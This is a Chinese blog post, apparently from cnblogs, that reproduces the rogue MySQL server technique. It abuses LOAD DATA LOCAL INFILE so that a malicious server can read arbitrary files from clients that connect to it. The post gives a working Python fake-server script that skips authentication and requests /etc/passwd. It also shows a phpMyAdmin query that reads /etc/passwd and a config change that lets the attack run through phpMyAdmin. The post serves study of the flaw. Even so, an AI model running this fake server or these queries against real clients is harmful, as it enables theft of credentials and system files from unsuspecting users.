zoukankan      html  css  js  c++  java
  • 伪造mysql服务端实现任意读取

      偶然看到大佬的一篇文章,讲利用mysql的LOAD DATA INFILE的功能读取客户端文件,觉得这个思路十分有趣,于是跟着大佬的思路复现了一遍。

    0x01 LOAD DATA INFILE

      LOAD DATA INFILE是我十分陌生的一种用法,作用是可以把文件读入到数据库的某个表里,如果在远程连接状态下使用了LOCAL关键字,即LOAD DATE LOCAL INFILE,那么就会从客户端读取一个本地文件,存入服务器端的table里。

      

       查看mysql官方文档,官方已经指出这种方法存在着两种潜在的问题:

      一种是指不安全的服务端,可以伪造请求去读取客户端的任意文件。

      另一种是指webserver的环境下(比如熟悉的phpmyadmin),客户端其实也就是服务端,通过load data local读入的就是服务端自己的文件,同样会造成任意文件读取。

    比如在phpmyadmin里执行:

    load data local infile "/etc/passwd" into TABLE test;
    select * from test;

    就可以直接读取任意文件了。

    0x02 对mysql的抓包分析

      首先先要关闭ssl,在客户端的配置文件的[mysql]节添加skip_ssl,或者关闭服务端的ssl支持。

      之后在client端连接server端,进行了登陆,并执行了一次load data infil的操作,数据包如下。

      前面先是一个greeting,是服务端向客户諯发送的握手初始化包:

    之后,客户端会发回一个登陆验证包:

    服务端发回一个验证成功的应答:

    后面客户端会做一个初始化的查询:

     

    服务端的应答:

    这里客户端和服务端就已经成功连接上了,接下来客户端请求load data infile。(如果无法使用LOAD DATA INFILE语法的话,考虑在连接 MySQL 的时候加上--enable-local-infile选项,或者设置local_infile全局变量为ON

    接下来服务端会发回一个文件确认:

    然后客户端就把本地文件发过来了:

    0x03 漏洞原理

      load data的过程大概可以总结为:

    客户端:hi,现在我把我的/etc/passwd文件插入test表格里
    服务端:好的,把/etc/passwd文件发过来吧
    客户端:好的,这是我的/etc/passwd文件

    根据官方文档,客户端读取哪个文件是由服务端决定的,也就是说服务端发回哪个文件名,客户端就会读取哪个文件。

    而对于这个请求,mysql并没有强制限制必须先由客户端发起load data,一个伪造的服务端可以在任何时候回复一个 file-transfer 请求,比如说最开始客户端请求初始化查询的时候。

      这时的过程大概是:

    客户端:hi,现在我要查询一下版本信息
    服务端:好的,把/etc/passwd文件发过来吧
    客户端:好的,这是我的/etc/passwd文件

    0x04 服务端伪造

      主要的步骤就是在本地3306端口开启一个socket,接收到连接请求后,按照顺序发送greeting,认证成功和读取文件要求。

      这里我没有去分析数据包的内容,直接使用提取wireshark抓到的包。

    python版:

    #coding=utf-8 
    import socket
    import logging
    logging.basicConfig(level=logging.DEBUG)
    
    filename="/etc/passwd"
    sv=socket.socket()
    sv.bind(("",3306))
    sv.listen(5)
    conn,address=sv.accept()
    logging.info('Conn from: %r', address)
    conn.sendall("x4ax00x00x00x0ax35x2ex35x2ex35x33x00x17x00x00x00x6ex7ax3bx54x76x73x61x6ax00xffxf7x21x02x00x0fx80x15x00x00x00x00x00x00x00x00x00x00x70x76x21x3dx50x5cx5ax32x2ax7ax49x3fx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00")
    conn.recv(9999)
    logging.info("auth okay")
    conn.sendall("x07x00x00x02x00x00x00x02x00x00x00")
    conn.recv(9999)
    logging.info("want file...")
    wantfile=chr(len(filename)+1)+"x00x00x01xFB"+filename
    conn.sendall(wantfile)
    content=conn.recv(9999)
    logging.info(content)
    conn.close()

    效果:

    由于我们直接发送认证成功,所以客户端用户名密码可以随便写。

    在phpMyAdmin里开启远程连接(将phpMyAdmin/libraries/config.default.php的$cfg['AllowArbitraryServer']改为true):

    成功:

    这是大佬写的一个php版(同样在本地和phpmyadmin里都成功):

    View Code

    ps:

    大佬的原脚本:https://github.com/Gifts/Rogue-MySql-Server  (只在phpMyAdmin里连接成功)

    这里有个要注意的地方:

    按照大佬的说法,Capabilities这两个字节,xf7 则表示不支持 SSL,如果不这么写会因为ssl的问题无法连接。

    0x05 参考

    https://blog.csdn.net/ASzhiwei/article/details/81914381

    http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

    https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html

    https://www.freebuf.com/vuls/188910.html

    https://lightless.me/archives/read-mysql-client-file.html

  • 相关阅读:
    2.NET Core设定数据库种子
    1.ASP.NET Core 中向 Razor Pages 应用添加模型
    获取文件夹目录下的文件信息
    dataGridView读写文本
    C# winform 启动外部程序
    netcore访问本地磁盘
    c#利用定时器自动备份数据库(mysql)
    c#mysql数据库备份还原
    Linux之旅(二)
    Linux之旅
  • 原文地址:https://www.cnblogs.com/apossin/p/10127496.html
Copyright © 2011-2022 走看看